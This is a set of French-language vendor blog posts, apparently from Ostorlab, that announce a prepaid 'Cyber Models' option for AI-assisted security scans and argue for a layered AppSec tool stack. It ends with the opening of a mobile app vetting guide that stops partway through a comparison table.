Les tests de sécurité assistés par l'IA passent de l'expérimentation à de véritables workflows opérationnels. Cela change le problème. Le plus difficile n'est plus seulement d'accéder à des modèles puissants ; le plus difficile est de contrôler la manière dont ils sont utilisés.

Les équipes de sécurité doivent savoir qui peut lancer des scans assistés par l'IA, quelles cibles sont dans le périmètre, combien chaque scan peut consommer, où l'utilisation est enregistrée et comment éviter les mauvaises surprises de coûts d'infrastructure.

Les déploiements bring-your-own-key (BYOK) offrent de la flexibilité, mais ils entraînent une charge supplémentaire. Les équipes doivent créer des comptes chez des fournisseurs externes, gérer des clés d'API, configurer la facturation, suivre l'utilisation, gérer les limites de débit, rapprocher les factures des fournisseurs et conserver une visibilité sur plusieurs systèmes. Cela convient à certaines organisations. Pour d'autres, c'est un casse-tête opérationnel de plus dans un programme de sécurité qui en compte déjà assez.

Cyber Models supprime cette friction. Ostorlab gère la couche d'infrastructure d'IA, tandis que les équipes de sécurité contrôlent le périmètre du scan, le niveau d'effort et l'utilisation prépayée directement depuis le Portal.

Principaux avantages

Aucune gestion de clés d'API externes : dissocie les environnements de scan des identifiants locaux.
Facturation prépayée basée sur des tokens : les achats sont ajoutés à un portefeuille centralisé de l'espace de travail.
Orchestration de modèles gérée : des profils personnalisés avancés s'exécutent à pleine capacité, sans les restrictions commerciales habituelles.
Maîtrise prévisible des dépenses : les budgets maximums sont réservés à l'avance et les limites d'exécution sont liées aux profils d'effort du scan, pour que la finance reste sereine.
Audit centralisé du portefeuille : visibilité complète sur les soldes actuels, les écritures du registre et l'historique des transactions.

Cyber Models et BYOK

Lors de la configuration d'un Agentic Deep Scan, les équipes choisissent la manière dont Ostorlab achemine l'exécution assistée par l'IA. Cyber Models est conçu pour les équipes qui souhaitent une infrastructure d'IA gérée, des contrôles d'utilisation prépayés et une comptabilité centralisée dans Ostorlab. BYOK reste disponible pour les équipes qui préfèrent acheminer l'exécution via leurs propres comptes de fournisseurs et gérer elles-mêmes la configuration.

Attribut d'infrastructure	Cyber Models	BYOK
Accès aux fournisseurs	Géré via des canaux de fournisseurs approuvés par Ostorlab	Acheminé via des comptes de fournisseurs gérés par le client
Orchestration des modèles	Assurée par la couche d'abstraction d'Ostorlab	Contrôlée par la configuration du client
Configuration des modèles	Profils de modèles optimisés (GPT-5.5 Cyber, Opus 4.8 with Cyber Verification)	Points de terminaison de fournisseurs spécifiés par le client
Gestion des clés d'API	Aucune clé externe requise	Le client gère les clés d'API des fournisseurs
Modèle de facturation	Crédits de calcul prépayés via le portefeuille Ostorlab	Facturation directe à la consommation via les comptes des fournisseurs
Maîtrise des dépenses	Réservation et règlement des crédits pour chaque scan	Limites des tableaux de bord des fournisseurs et plafonds gérés par le client
Limites de débit / Concurrence	Gérées via les contrôles de capacité d'Ostorlab	Liées aux limites du fournisseur du client
Contrôles d'exécution	Limites par profil de scan, exécution cloisonnée et plafonds de crédits	Limites gérées par le client et paramètres côté fournisseur
Auditabilité	Solde du portefeuille, journaux du registre et historique des transactions dans Ostorlab	Réparti entre les systèmes du fournisseur et les systèmes internes

Si votre équipe souhaite un contrôle direct sur les fournisseurs, BYOK est là. Si elle souhaite le scan approfondi sans la chorégraphie d'infrastructure, Cyber Models est la voie la plus simple.

Comment fonctionnent les crédits de calcul de Cyber Models

Cyber Models utilise des crédits de calcul prépayés pour l'exécution des scans assistés par l'IA, afin de s'affranchir d'une tarification chaotique et propre à chaque fournisseur. Les crédits Cyber Models doivent être compris comme des crédits de calcul gérés par Ostorlab, et non comme des tokens bruts d'entrée ou de sortie de modèle de langage. Un crédit représente l'exécution gérée d'un scan IA au sein de l'infrastructure d'Ostorlab, et non une mesure directe de la fenêtre de contexte.

Le cycle de vie des crédits se déroule en trois étapes distinctes :

1. Réservation

Lorsqu'un Agentic Deep Scan est initialisé, Ostorlab réserve le plafond de crédits maximum associé au profil d'effort sélectionné. Cela confirme que l'espace de travail dispose d'un solde suffisant pour mener à bien la profondeur de scan choisie avant le début de l'exécution. La réservation donne aux équipes un coût maximum prévisible dès le départ, sans devinettes, sans calculs de mesure cachés des modèles, ni archéologie de tableur.

2. Exécution cloisonnée

Ostorlab met en place un contexte d'exécution cloisonné, lié aux limites de la cible sélectionnée, à la configuration du scan et au plafond de crédits. Le scan se déroule sans nécessiter d'identifiants externes. Pendant l'exécution, les équipes peuvent suivre la consommation de crédits en direct depuis la vue du journal du scan. Vous voyez ainsi précisément comment le scan consomme son budget de raisonnement pendant qu'il s'exécute, au lieu de découvrir l'utilisation plus tard dans une facture surprise d'un fournisseur et de faire semblant d'aimer les surprises.

3. Règlement

Lorsque le scan se termine ou est annulé manuellement, Ostorlab calcule l'utilisation réelle. Seuls les crédits consommés sont déduits du portefeuille de l'espace de travail. Les crédits réservés non utilisés sont restitués automatiquement après le règlement. Les équipes bénéficient ainsi du meilleur des deux mondes : un coût maximum prévisible avant l'exécution et une restitution automatique des crédits pour la capacité réservée non utilisée.

Profils d'effort du scan

Cyber Models prend en charge trois profils d'effort pour les Agentic Deep Scans. Chaque profil ajuste la profondeur de la boucle d'exécution agentique, notamment l'étendue du raisonnement, l'exploration des états, l'évaluation des hypothèses et la profondeur de validation. Les plafonds ci-dessous représentent des limites de crédits de calcul Cyber Models, et non des tokens de contexte bruts de modèle de langage.

Profil d'effort	Plafond de tokens	Idéal pour	Comportement d'exécution
Core	50 tokens	Tests ciblés des actifs prioritaires	Analyse rapide et très fiable, avec une exploration limitée.
Advanced	200 tokens	Couverture plus large des applications et des API	Raisonnement étendu sur des hypothèses de confiance moyenne et des chemins plus profonds.
Elite	400 tokens	Environnements complexes et cibles à forte valeur	Profil d'évaluation le plus approfondi disponible, avec une exploration plus large des états et une analyse en plusieurs étapes.

Le solde de votre portefeuille détermine la composition de vos scans. Par exemple, un solde de 400 tokens permet 8 scans Core (50 tokens chacun), 2 scans Advanced (200 tokens chacun) ou 1 scan Elite (400 tokens). Vous pouvez ainsi combiner les types d'exécution selon vos besoins.

Mis à jour le 1er octobre 2026 : les plafonds d'effort ont été corrigés pour correspondre aux coûts actuels en tokens (Core 50, Advanced 200, Elite 400), et le produit s'appelle désormais Agentic Deep Scan. Consultez les offres pour connaître les tarifs en vigueur.

Workflow opérationnel

Cyber Models se gère entièrement depuis le Portal d'Ostorlab. Les équipes peuvent recharger le portefeuille de leur espace de travail, suivre les soldes de tokens, consulter l'historique des transactions et lancer des Agentic Deep Scans sans quitter la plateforme.

Phase 1 : approvisionner le solde de calcul

Pour commencer à utiliser Cyber Models, ajoutez des tokens au portefeuille de votre espace de travail.

1. Accédez à l'interface Upgrade depuis le tableau de bord principal.
2. Sélectionnez l'onglet Cyber Models.

3. Choisissez le pack de profil de calcul qui correspond au volume de scans prévu et indiquez la quantité souhaitée.
4. Finalisez le paiement via Stripe.

Le solde de tokens est ajouté au portefeuille de votre espace de travail. Une fois le paiement effectué, le solde devient disponible pour les scans propulsés par Cyber Models.

Phase 2 : suivre les soldes du portefeuille et les journaux du registre

Cyber Models inclut une visibilité native sur le portefeuille dans le Portal d'Ostorlab. Les équipes peuvent consulter :

Le solde actuel de tokens
Les montants de tokens réservés
La consommation des scans terminés
Les remboursements de tokens réservés non utilisés
L'historique des opérations de débit et de crédit
L'évolution de l'utilisation dans le temps

Ces informations sont disponibles dans les composants Token Wallet et Transaction History.

Le registre du portefeuille offre aux équipes une trace claire de l'utilisation des tokens pour l'ensemble des scans, ce qui facilite le suivi des dépenses, l'audit de la consommation et la planification de la profondeur des tests à venir.

Phase 3 : exécuter un Agentic Deep Scan avec Cyber Models

Une fois votre portefeuille approvisionné, Cyber Models peut être sélectionné lors de la configuration du scan.

1. Ouvrez le workflow New Scan.
2. Configurez les limites de la cible et le périmètre du scan.
3. Passez à l'écran de configuration AI Provider.
4. Sélectionnez Cyber Models à la place de BYOK Simple ou BYOK Advanced.

5. À l'étape Effort, choisissez la profondeur qui correspond à l'environnement cible : Core, Advanced ou Elite.

6. Lancez le scan.

Une profondeur maîtrisée pour des tests de sécurité autorisés

Cyber Models est conçu pour les équipes qui ont besoin d'une analyse de sécurité assistée par l'IA plus approfondie, sans perdre le contrôle du périmètre, de l'exécution ou des dépenses. Chaque scan est strictement encadré par les limites de la cible, des plafonds de crédits liés à l'effort, les limites du portefeuille prépayé, une visibilité en direct sur l'utilisation, la possibilité d'annulation manuelle et un règlement automatique à la fin du scan.

Les équipes de sécurité peuvent utiliser Cyber Models pour soutenir :

La découverte de vulnérabilités chaînées à travers plusieurs comportements applicatifs.
Le raisonnement sur les chemins d'attaque à travers les API, les workflows et les services exposés.
Les tests de logique métier pour les cas d'abus propres à une application.
Les tests d'autorisation à travers les rôles, les tenants et les limites d'objets.
L'analyse des cas limites d'authentification à travers les parcours de connexion, de récupération et de session.
L'exploration du comportement des API à travers les points de terminaison documentés et non documentés.
La validation de vulnérabilités en plusieurs étapes dans les périmètres approuvés.
La simulation adverse contre des cibles autorisées.

L'objectif n'est pas une automatisation incontrôlée. L'objectif est une profondeur gouvernée : un raisonnement plus poussé, une exécution bornée, une utilisation visible et une comptabilité claire. Les équipes obtiennent la profondeur qu'elles veulent, le contrôle dont elles ont besoin et moins de raisons d'ouvrir cinq tableaux de bord différents avant de lancer un scan, ce qui constitue une victoire rare pour la sécurité comme pour la santé mentale.

Déployer des Agentic Deep Scans avec Cyber Models

Cyber Models est désormais disponible dans le Portal d'Ostorlab. Pour exécuter des évaluations de sécurité avancées assistées par l'IA via l'infrastructure gérée de Cyber Models, accédez au tableau de bord de votre espace de travail, rechargez votre portefeuille de tokens et sélectionnez Cyber Models lors de la configuration de votre prochain Agentic Deep Scan.

Il n'existe pas de boîte magique : pourquoi l'AppSec à l'ère de l'IA exige une pile d'outils

2026-06-22T10:00:00+02:00

Parcourez les allées de n'importe quelle grande conférence de cybersécurité aujourd'hui et vous entendrez le même discours encore et encore : une plateforme alimentée par l'IA. Un tableau de bord. Un cerveau de sécurité autonome. Une boîte magique qui trouve toutes les vulnérabilités, corrige tous les problèmes, élimine la fatigue des alertes, rend les développeurs heureux, et arrose peut-être vos plantes.

C'est une belle histoire. Ce n'est pourtant pas ainsi que fonctionne la sécurité applicative.

Le problème n'est pas seulement que la plateforme AppSec autonome parfaite n'existe pas encore. Le problème plus profond est que les tests de sécurité uniquement basés sur l'IA ne passent pas à l'échelle.

Les équipes d'ingénierie modernes livrent plus de code que jamais. Le développement assisté par l'IA a accéléré la création de logiciels, mais on attend toujours des équipes de sécurité qu'elles examinent chaque commit, chaque mise à jour de dépendance, chaque route d'API, chaque configuration cloud et chaque modification de code généré, sans ralentir personne.

La tentation évidente est donc : « Laissons l'IA tout tester. »

Malheureusement, c'est ainsi que votre facture cloud devient un incident. Exécuter des modèles d'IA coûteux sur chaque modification n'est pas une stratégie. C'est une manière très sophistiquée de brûler du budget. Et même si le coût n'était pas un problème, l'IA seule ne vous offrirait toujours pas une couverture complète. Les vulnérabilités connues exigent des bases de données de vulnérabilités. Le risque lié aux dépendances exige du renseignement sur les packages. Les secrets exigent une détection déterministe. Les mauvaises configurations exigent des contrôles de politique. Les failles de logique métier exigent une compréhension sémantique. Les chaînes d'exploitation complexes exigent un raisonnement adversarial.

Aucune technique ne fait tout cela correctement à elle seule. C'est pourquoi l'AppSec moderne ne va pas vers une boîte magique unique. Elle va vers un modèle en couches.

L'ancien monde ressemblait à peu près à ceci :

Scanner ──> Pentest ──> Bug Bounty

Le nouveau monde ressemble plutôt à ceci :

Scanner ──> BYOK Semantic Review ──> Cyber Models

Chaque couche a un rôle. Chaque couche a un profil de coût. Chaque couche détecte une classe de problèmes différente. L'objectif n'est pas d'utiliser l'IA partout. L'objectif est d'utiliser d'abord la méthode fiable la moins chère, de n'escalader que lorsqu'il faut davantage de contexte, et de réserver les modèles cyber coûteux aux problèmes qui méritent réellement un raisonnement approfondi.

C'est ainsi que l'AppSec passe à l'échelle à l'ère du code assisté par l'IA.

Première couche : les scanners ne sont pas morts

Tous les quelques mois, quelqu'un déclare que les scanners traditionnels sont morts. Le SAST est mort. Le DAST est mort. Les regex sont mortes. Les règles sont mortes. Tout est mort, sauf la nouveauté en IA que l'on peut opportunément se procurer après la démo.

C'est absurde.

Les scanners restent essentiels, car ils sont rapides, peu coûteux et très efficaces pour trouver des problèmes connus, répétables et structurels : * Secrets codés en dur * Dépendances vulnérables connues * En-têtes de sécurité manquants * Fonctions dangereuses * Concaténation SQL brute * Endpoints de débogage exposés * Mauvaises configurations * CVE connues * Chaînes d'attaque par injection structurellement complexes comme Polyglot XSS

Cette couche n'a pas besoin de comprendre tout votre modèle économique. Elle n'a pas besoin de raisonner sur votre workflow d'approbation d'entreprise sur mesure. Elle doit simplement repérer les problèmes évidents, détectables par motifs, avant qu'ils ne deviennent le problème de tout le monde.

Si un développeur commite une clé d'API, vous n'avez pas besoin d'un modèle de pointe pour méditer sur la philosophie du contrôle d'accès. Vous avez besoin d'un scanner qui dise : « Merci de ne pas livrer ça. » Si une dépendance présente une CVE critique connue, vous n'avez pas besoin de l'IA pour redécouvrir la vulnérabilité à partir de zéro. Vous avez besoin de renseignement sur les vulnérabilités, d'une correspondance de versions et d'un chemin de remédiation.

L'inclusion de motifs d'injection complexes comme Polyglot XSS illustre parfaitement ce point. Un payload polyglotte est un morceau d'ingénierie de sécurité tortueux, conçu pour s'exécuter de façon malveillante simultanément dans plusieurs contextes d'exécution (HTML, blocs de script, attributs). Cela semble complexe, mais à la racine de son exécution, il s'agit d'une faille entièrement structurelle. Il n'est pas nécessaire de recourir à un LLM coûteux pour analyser l'état d'esprit du développeur ici. Un scanner précis et rapide, fondé sur des règles, peut repérer ces anomalies structurelles instantanément au moment du commit, et stopper net une chaîne d'exploitation sans vous coûter une fortune en traitement.

La première couche est votre détecteur de fumée. Elle n'expliquera pas tout l'incendie. Elle vous dit simplement que la cuisine est en feu avant que la maison ne devienne un post-mortem. L'essentiel est le réglage. Les mauvais scanners créent du bruit. Les bons scanners créent un effet de levier.

Exigence	Pourquoi c'est important
Rapide	Les développeurs ont besoin de retours tant que le code est encore frais.
Peu coûteux	Ces contrôles doivent s'exécuter en permanence.
Déterministe	Les problèmes connus doivent être détectés de façon fiable.
Exploitable	Les résultats doivent expliquer ce qu'il faut corriger.
Peu bruyant	Personne n'a besoin d'un énième cimetière de tableaux de bord.

La première couche détecte ce qui ne devrait jamais nécessiter un raisonnement coûteux.

Lire l'analyse approfondie : vous voulez apprendre à régler vos scanners traditionnels de façon agressive pour éliminer le bruit sans noyer vos équipes d'ingénierie sous les faux positifs ? Surveillez notre prochain décryptage technique : Layer 1: Resurrecting the Rules — Making SAST and DAST Work for You.

Deuxième couche : BYOK Semantic Review

Une fois les problèmes évidents filtrés, les questions plus difficiles commencent. * Cet utilisateur est-il autorisé à effectuer cette action ? * Ce flux OAuth valide-t-il correctement le paramètre state ? * Cet URI de redirection est-il sûr ? * Des données sensibles sont-elles journalisées ? * Cette pull request a-t-elle discrètement contourné un contrôle d'autorisation ?

Ce ne sont pas toujours des problèmes de scanner. Ils exigent du contexte. C'est là que l'IA devient utile, mais avec une réserve très importante : votre code propriétaire ne doit pas être collé à la légère dans des outils publics.

Les équipes de sécurité ont besoin de l'assistance de l'IA, mais aussi de confidentialité, de conformité, d'auditabilité et de contrôle sur la manière dont le code est traité. C'est pourquoi la deuxième couche ne consiste pas simplement à « utiliser l'IA ». Il s'agit d'une revue sémantique privée, construite autour d'une architecture BYOK (Bring Your Own Key).

BYOK signifie des clés gérées par le client, l'isolation des tenants, une journalisation restreinte, des politiques de rétention claires et un traitement sécurisé des prompts et des sorties. Cette couche joue le rôle d'un pair relecteur IA privé. Elle peut inspecter le code en contexte et se demander si la logique a réellement un sens du point de vue de la sécurité.

Pour un exemple concret prouvant pourquoi le contexte sémantique de l'IA est indispensable pour repérer des failles de logique que les scanners à base de regex manquent à l'aveugle, examinez cette analyse des prises de contrôle de compte via OAuth (« One Scheme to Rule Them All »). Les scanners traditionnels examinent les implémentations OAuth et y voient une syntaxe parfaitement valide : les variables sont correctement déclarées et les endpoints correspondent aux chaînes attendues.

En revanche, un pair relecteur IA conscient du contexte, opérant dans un environnement BYOK sécurisé, peut analyser le flux logique réel. Il peut constater que l'application ne valide pas correctement le paramètre state ou ne gère pas de façon sûre les schémas d'URI de redirection personnalisés, ce qui expose tout le flux d'authentification à l'interception et au détournement de compte. Il détecte la faille parce qu'il comprend ce que l'application essaie de faire, et pas seulement comment les caractères sont tapés.

C'est la différence entre la syntaxe et la sémantique. La deuxième couche convient particulièrement à : * La revue de pull requests * La logique d'autorisation et les flux d'authentification * Les mouvements de données sensibles * L'analyse de frameworks personnalisés * Les standards internes de codage sécurisé * Les recommandations de remédiation pour les développeurs

La première couche demande : « Avons-nous déjà vu cette mauvaise pratique connue ? » La deuxième couche demande : « Ce code a-t-il du sens dans le modèle de sécurité de cette application ? » C'est une question plus puissante. C'est aussi une question plus coûteuse, et c'est pourquoi il ne faut pas l'utiliser pour tout.

Lire l'analyse approfondie : vous voulez connaître l'infrastructure précise, les choix de modèles open-weight et les architectures réseau nécessaires pour déployer cela en toute sécurité dans votre propre environnement ? Guettez notre prochain article : Layer 2: AI Peer Review — Implementing Open-Weight Models and BYOK for Secure Code Analysis.

Troisième couche : les modèles cyber pour le raisonnement approfondi

Certains problèmes de sécurité n'apparaissent que lorsque plusieurs composants interagissent. Un webhook écrit dans une file d'attente. Un worker traite le payload. Un service interne fait confiance au worker. Un endpoint d'administration consomme le résultat. Chaque élément paraît correct isolément. La vulnérabilité apparaît dans la chaîne.

Ce n'est pas un problème de scanner basique. C'est un problème de chemin d'attaque.

La troisième couche est celle où des modèles cyber spécialisés, représentés par des systèmes de raisonnement de pointe comme Mythos, peuvent aider. Ces modèles sont utiles pour la revue d'architecture approfondie, l'analyse de chaînes d'exploitation, les abus des plateformes mobiles, les chemins de permissions cloud et les audits de systèmes à haut risque.

Mais les modèles bruts ne suffisent pas. Pointer un modèle puissant vers une immense base de code sans structure revient à donner à un stagiaire génial tout votre dépôt, sans carte, sans modèle de menace et avec de l'espresso à volonté. Il se passera quelque chose. Que ce soit utile est une autre affaire.

L'élément décisif du puzzle est le harness : la couche d'orchestration autour du modèle.

Le LLM brut (le moteur) : c'est votre moteur de raisonnement de base. Les modèles de pointe massifs sont phénoménaux pour le raisonnement approfondi et l'enchaînement de chaînes d'exploitation complexes à plusieurs sauts, tandis que les modèles plus petits vous apportent vitesse et passage à l'échelle. Mais si vous pointez naïvement un modèle de pointe de premier rang comme Mythos vers une base de code entière, un seul scan peut facilement engloutir des dizaines de milliers de dollars en coûts de calcul sans transpirer.
Le harness (l'orchestrateur) : c'est la véritable sauce secrète qui transforme une IA généraliste en un outil cyber redoutable. Le harness est l'enveloppe d'ingénierie : la logique de workflow, le routage des agents et la gestion du contexte. Il détermine précisément quel agent spécialisé se déclenche à quel moment, ne leur fournit que le contexte strictement nécessaire, gère l'imprévisibilité inhérente (non-déterminisme) des sorties de l'IA et déduplique sans pitié le bruit pour vous livrer des résultats validés et exploitables.

Le harness garantit que le modèle coûteux n'est utilisé que là où il peut produire une valeur réelle.

Pour voir clairement pourquoi cette « artillerie lourde » orchestrée est nécessaire pour suivre des chemins d'attaque à plusieurs sauts et des cycles de vie de plateforme profondément enfouis, consultez cette analyse sur Android Intent Redirection : attaques et correctifs. Trouver une vulnérabilité de communication inter-processus (IPC) dans une application mobile complexe est impossible avec des règles de syntaxe ou des contrôles sémantiques portant sur une seule fonction. Cela exige un moteur capable de modéliser tout le cycle de vie du système d'exploitation, de comprendre comment des composants exportés distincts s'échangent des messages, et de suivre comment un paquet de données malformé, en apparence bénin, peut franchir des frontières pour déclencher des actions privilégiées au plus profond de la couche applicative. Un modèle cyber orchestré excelle ici, en cartographiant des graphes d'attaque profonds et propres à la plateforme, qui couvrent toute l'architecture de l'application.

La troisième couche n'est pas faite pour chaque commit. Elle est faite pour les moments à haut risque :

Cas d'usage	Pourquoi c'est important
Versions majeures	Les grands changements d'architecture créent des risques transversaux entre systèmes.
Modules critiques	L'authentification, les paiements, la cryptographie et l'identité méritent une revue plus approfondie.
Analyse de chaînes d'exploitation	Certaines vulnérabilités n'ont d'importance que lorsqu'elles sont enchaînées.
Sécurité mobile	Les IPC, les intents, les permissions et le comportement du cycle de vie sont très complexes.
Architecture cloud	L'IAM, le réseau, le stockage et les identités de service interagissent de manière subtile.
Réponse aux incidents	Un raisonnement approfondi peut retracer des faiblesses connexes non cartographiées.

La troisième couche est puissante, mais gourmande en calcul. Utilisez-la comme une machine lourde, pas comme une brosse à dents.

Lire l'analyse approfondie : vous voulez voir ce qui se passe lorsque l'on construit une enveloppe d'ingénierie conçue pour orchestrer une IA de pointe afin qu'elle pense comme un véritable attaquant ? Surveillez notre prochain décryptage technique : Layer 3: The Heavy Artillery — Harnessing Frontier Models for Deep Architectural Reviews.

Choix de la plateforme : web/cloud ou mobile natif

Comprendre ces trois couches de test est essentiel, mais les mettre en œuvre efficacement suppose de reconnaître que les classes d'actifs sont fondamentalement distinctes. Empiler vos moteurs de test pour sécuriser une application web cloud-native n'a rien à voir avec les configurer pour auditer un binaire mobile compilé, de bas niveau.

Pour associer les vecteurs de risque et l'empreinte architecturale propres à votre équipe à la bonne approche de plateforme, utilisez la matrice de sélection ci-dessous :

Critère de sélection	Aikido & XBOW (web, cloud et dépôt d'abord)	Ostorlab (mobile et IA chirurgicale d'abord)
Vecteur de risque principal	Applications web, plateformes SaaS, API et bases de code logicielles traditionnelles.	Applications mobiles natives (Android `.apk`, iOS `.ipa`, HarmonyOS `.hap`).
Environnement ciblé	Infrastructure cloud, sécurité des conteneurs et hygiène de la configuration cloud.	Environnements matériels mobiles réels, utilisant des protocoles de débogage de bas niveau du système (JDWP/LLDB).
Style d'évaluation du code	Hygiène générale de la base de code (SAST, SCA, suivi des dépendances, conformité des licences open source).	Analyse binaire approfondie (rétro-ingénierie du bytecode, décompilation et suivi de taint).
Données et sérialisation	Flux de données web standards (REST, API JSON classiques, GraphQL basique).	Sérialisation mobile complexe (Protobuf, gRPC, GraphQL orienté mobile, fuzzing de protocoles personnalisés).
Méthodologie de scan par IA	Planification d'exploitation web autonome et large, et scan de dépôts sur tout le périmètre.	Vérifications ponctuelles chirurgicales par IA, localisées sur des actifs individuels (via SVA et le triage intégré Dig Deeper).
Équipe d'ingénierie visée	DevOps, ingénieurs cloud-native, développeurs web full-stack et généralistes AppSec.	Développeurs mobiles natifs, spécialistes de la sécurité mobile et équipes de triage de bug bounty à haute cadence.

Liste de contrôle récapitulative pour votre équipe

💡 Choisissez Aikido ou XBOW si : votre priorité est de sécuriser les applications web, de nettoyer les dépendances des dépôts, de surveiller les configurations cloud et de prévenir les vulnérabilités larges de la chaîne d'approvisionnement logicielle.
🎯 Choisissez Ostorlab si : vos joyaux de la couronne sont des applications mobiles, vous devez contourner des défenses côté client complexes (comme le SSL pinning), ou votre équipe de sécurité doit valider rapidement des déclarations de bug bounty précises et isolées sans lancer de scans complets massifs.

Le coût est le problème du passage à l'échelle

Le coût n'est pas un détail secondaire. Le coût détermine si un contrôle de sécurité peut réellement s'exécuter à la vitesse du développement moderne. Si un contrôle est peu coûteux, vous pouvez l'exécuter partout. S'il est coûteux, vous devez choisir quand il s'exécute. S'il est très coûteux, vous avez besoin d'une très bonne raison.

C'est pourquoi les tests uniquement basés sur l'IA échouent. Les équipes logicielles modernes poussent sans cesse des commits, des packages, des conteneurs, des API, des configurations et du code généré. Exécuter une analyse approfondie par IA sur tout cela n'est pas soutenable. Un programme AppSec capable de passer à l'échelle doit être conçu dès l'origine en tenant compte des coûts : 1. Exécuter des contrôles peu coûteux en permanence. 2. Exécuter une revue sémantique lorsque le contexte compte. 3. Exécuter des modèles cyber lorsque le raisonnement approfondi vaut son coût.

Escaladez en fonction du risque, pas de l'intuition. Le meilleur système de sécurité n'est pas celui qui utilise partout le modèle le plus sophistiqué. C'est celui qui applique le bon niveau d'analyse au bon moment.

Couche	Excelle pour	Moins adaptée à
Scanner	Secrets, CVE, mauvaises configurations, motifs connus	Logique métier
BYOK Semantic Review	Flux d'authentification, mouvements de données, logique personnalisée	Chaînes d'exploitation à l'échelle du système entier
Cyber Models	Chemins d'attaque profonds, revue d'architecture	Scan continu peu coûteux

Les couches ne sont pas concurrentes. Un scanner doit détecter le package vulnérable connu avant qu'un modèle d'IA ne gaspille des cycles à lire le code qui l'importe. Un relecteur sémantique BYOK doit analyser la logique d'autorisation une fois que le scanner a écarté les problèmes évidents. Un modèle cyber doit être réservé aux questions qui dépassent une fonction, un fichier ou une pull request.

C'est ainsi que l'on évite les deux modes d'échec classiques : * L'AppSec par scanner uniquement : peu coûteuse et rapide, mais trop superficielle. * L'AppSec par IA uniquement : puissante par endroits, mais coûteuse, incomplète et bruyante.

La réponse n'est pas scanner contre IA. C'est le scanner, puis la revue IA privée, puis les modèles cyber là où c'est justifié.

Pas de boîte magique. Juste la pile d'outils.

Il n'existe aucune plateforme d'IA unique qui comprenne toutes les classes de vulnérabilités, toutes les règles métier, toutes les CVE, toutes les dépendances, toutes les permissions cloud, tous les cycles de vie mobiles et toutes les chaînes d'exploitation avec une précision parfaite et un coût acceptable. Ce n'est pas une catégorie de produit. C'est une histoire pour endormir les services achats.

L'avenir de l'AppSec n'est pas « l'IA scanne tout ». L'avenir, ce sont des tests en couches : rapides quand c'est possible, privés quand c'est nécessaire et approfondis quand c'est justifié.

Soyons clairs : nous n'avons pas construit de boîte magique, nous savons qu'elles n'existent pas, et nous n'allons pas insulter votre intelligence en vous en vendant une. Nous avons plutôt conçu notre plateforme comme un véritable établi d'ingénierie, explicitement bâti pour cette réalité en trois couches. Nous ne forçons pas un modèle unique ou un outil unique à tout faire. Nous vous offrons un moteur de règles de première couche incroyablement rapide et robuste pour éliminer le bruit en amont. Nous fournissons l'architecture isolée qui vous permet d'apporter votre propre clé (BYOK) pour des revues de deuxième couche privées et conscientes du contexte, sans risquer votre propriété intellectuelle. Et nous avons conçu le harness d'orchestration multi-agents précis, nécessaire pour mettre à profit la puissance de pointe des modèles de troisième couche comme Mythos sans faire fondre votre budget cloud.

Nous ne vendons pas de solution miracle. Nous fournissons la pile d'outils.

Le guide complet de l'évaluation des applications mobiles : sécuriser l'écosystème applicatif de l'entreprise

2026-06-19T10:08:00+02:00

Chaque jour, des employés téléchargent des dizaines d'applications sur des appareils mobiles qui disposent d'un accès direct et authentifié à vos data lakes, à vos environnements cloud et à l'architecture de votre réseau interne. Ils cherchent simplement des outils pour gagner en productivité, des clients de communication ou des utilitaires d'automatisation des tâches afin de travailler plus efficacement.

Les stores d'applications publics filtrent les malwares de base les plus évidents, mais ils ne vérifient pas, et ne peuvent pas vérifier, vos normes internes de conformité, vos obligations en matière de confidentialité des données ni les risques cachés de la chaîne d'approvisionnement logicielle.

De plus, l'approche classique du « jardin clos » de la sécurité mobile s'est profondément transformée. Sous l'impulsion de réglementations mondiales majeures comme le Digital Markets Act (DMA) de l'Union européenne, les systèmes d'exploitation mobiles ont été légalement contraints d'ouvrir leurs écosystèmes aux places de marché d'applications alternatives, au sideloading et à la distribution indépendante d'applications via le web. Parallèlement, la création de logiciels atteint des vitesses inédites. Avec les outils d'IA générative qui accélèrent le développement mobile, les applications sont construites et mises à jour plus vite que jamais. Cette vitesse introduit toutefois un risque sérieux : les données empiriques du rapport Veracode GenAI Code Security Report révèlent que 45 % du code généré par IA contient des vulnérabilités de sécurité structurelles.

Les applications mobiles atteignent les terminaux de l'entreprise par des canaux décentralisés qui échappent totalement à la gouvernance centralisée des plateformes. Pour maintenir la sécurité dans cet environnement décentralisé, les organisations doivent passer de la gestion de base des appareils à une analyse approfondie et automatisée des binaires et des comportements. C'est précisément l'objet de l'évaluation des applications mobiles (Mobile App Vetting, MAV).

Ce guide complet couvre l'architecture, les méthodologies de risque et les cadres de déploiement nécessaires pour concevoir une stratégie d'évaluation des applications mobiles en entreprise qui protège les données de l'organisation sans créer de friction opérationnelle.

Qu'est-ce que le Mobile App Vetting ?

Le Mobile App Vetting est l'évaluation rigoureuse et programmatique des paquets d'applications iOS et Android par rapport à une matrice standardisée de politiques de sécurité, de confidentialité et de conformité, avant que ces applications soient autorisées à s'exécuter sur des terminaux gérés par l'entreprise ou en BYOD (Bring Your Own Device).

Contrairement aux systèmes de bureau traditionnels, les systèmes d'exploitation mobiles reposent sur des principes stricts de sandboxing. Si le sandboxing empêche une application de compromettre directement l'espace mémoire isolé d'une autre application, il empêche aussi les antivirus traditionnels, lourds et centrés sur le terminal, d'analyser l'arborescence de répertoires d'une application.

Par conséquent, les outils classiques de détection sur les terminaux sont fonctionnellement aveugles aux vulnérabilités au niveau applicatif. Les cadres modernes de Mobile Application Security Testing (MAST) doivent évaluer le binaire compilé de l'application, son orchestration à l'exécution en temps réel et ses points de partage de données en arrière-plan pour révéler son véritable niveau de risque.

Angles morts architecturaux : pourquoi le MDM et le MTD ne suffisent pas

Les responsables IT et sécurité croient souvent à tort que déployer une plateforme de Mobile Device Management (MDM) ou de Mobile Threat Defense (MTD) résout le risque applicatif mobile. En réalité, s'appuyer uniquement sur ces outils crée un vide de sécurité considérable.

Pour bâtir une couche défensive complète, il est essentiel de comprendre en quoi ces technologies diffèrent par leur architecture et leur périmètre :

Couche de sécurité mobile	Analyse proactive du contenu du binaire	Surveillance de l'appareil à l'exécution	Gouvernance de l'infrastructure d'administration
Mobile Device Management (MDM) (par ex. Microsoft Intune, Workspace ONE)	Non	Non	Oui (Impose les mots de passe, les mises à jour de l'OS, les effacements à distance et le provisionnement des applications)
Mobile Threat Defense (MTD) (par ex. agents de terminal)	Non	Oui (Surveille les menaces réseau en direct, les jailbreaks et les exploits au niveau de l'OS)	Non
